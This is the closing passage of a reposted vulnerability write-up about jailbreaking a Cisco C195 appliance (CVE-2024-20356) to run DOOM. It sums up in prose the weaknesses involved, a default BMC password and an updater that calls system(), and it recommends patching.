Thacker did not defeat Intel BootGuard. He defeated a curl line and a product-id file. That is less cinematic than a fused-key bypass and more typical of how appliances actually fall: a second computer with a default password, an updater that still calls system(), and a chain of trust that believes the BMC about what the chassis is. The C195 will still filter mail if you leave it alone and patch it. If you do not, it will also run DOOM, and anything else the new db will load.

Original text: “CVE-2024-20356: Jailbreaking a Cisco appliance to run DOOM” by Aaron Thacker at LRQA Cyber Labs (Nettitude).

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion